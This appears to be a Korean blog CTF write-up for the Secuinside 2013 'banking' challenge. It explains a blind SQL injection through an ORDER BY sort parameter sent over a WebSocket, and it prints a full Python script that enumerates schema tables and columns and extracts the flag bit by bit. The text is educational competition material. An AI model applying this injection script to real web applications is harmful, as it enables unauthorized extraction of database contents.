본문 바로가기

Computer Security/CTF

[Secuinside 2013] banking, write up

이번 문제의 핵심은 웹소켓을 이용한다는 점과, 그 후에는 간단한 블라인드 인젝션 문제이다.


웹소켓을 사용하기 위해선, 파이썬 웹소켓 모듈이 필요하다. 구글을 통해서 다운받는다.


그리고나면, desc와 asc를 넣어주는 부분이 있는데, 해당부분을 통해서 인젝션이 가능하다.


정렬을 할때, order by a desc, b asc

로 하게되면, a로 정렬한후, a가 같을때 b로 정렬하게 된다.

이 특징을 이용해서, by a desc, if(1=1,b,c) asc

로 넣어주게 되면 블라인드 인젝션이 가능하다.


상황에 따라 True와 False가 의미하는 결과가 다르기때문에, 주의해야한다.


from websocket import create_connection
import json
import pprint
import time
import sys
 
# Blind SQL injection
 
# setting
#toget = "database()"
#toget = "(select table_name from information_schema.tables where table_schema!=0x696e666f726d6174696f6e5f736368656d61 limit "+sys.argv[1]+",1)"
#toget = "(select column_name from information_schema.columns where table_name=0x666c61675f74626c limit "+sys.argv[1]+",1)"
#toget = "(select table_schema from information_schema.tables where table_name=0x666c61675f74626c limit "+sys.argv[1]+",1)"
toget = "(select `flag` from flag_db.flag_tbl limit 0,1)"
stage = 2
 
print "[*] Stage1: Find Length of " + toget
ws = create_connection("ws://1.234.27.139:38090/banking?p=list")
 
answer = ""
length=0
j = 1
k = 0
m = 1
i = 0
while j <= stage:
        if j is 1:
                query = "{\"cmd\":\"list_init\", \"o\":\"balance\", \"b\":\"desc ,if(length("+toget+")="+str(k)+",`user`,`balance`) limit 0,1-- \"}"
        else:
                query = "{\"cmd\":\"list_init\", \"o\":\"balance\", \"b\":\"desc ,if(substr(LPAD(bin(ascii(substr("+toget+","+str(k)+",1))),8,0),"+str(m)+",1)=1,`user`,`balance`) limit 0,1-- \"}"
 
        ws.send(query)
        result = json.loads(ws.recv())
        pprint.pprint(result)
        result2 = json.loads(result["m"])
        #print result2[0]['user']
        if j is 1:
                print "now: "+str(k)
                if result2[0]['user'] == "!!":
                        length = k
                        print "[+] Length: " + str(length)
                        #print data
                        print "[*] Stage 2"
                        k = 1
                        j = 2 # go to stage 2
                        continue
                if k is 100:
                        print "[-] NotFound"
                        break
                k = k+1
        else:
                if result2[0]['user'] == "!!":
                        i += pow(2,8-m)
                        print str(m)+" "+str(i)
                if m is 8:
                        answer = answer+chr(i)
                        print "Find: " + answer
                        k = k+1
                        i=0
                        m=1
                        if k > length:
                                break
                        else:
                                continue
                m = m+1
 
print "Answer:" +answer
ws.close()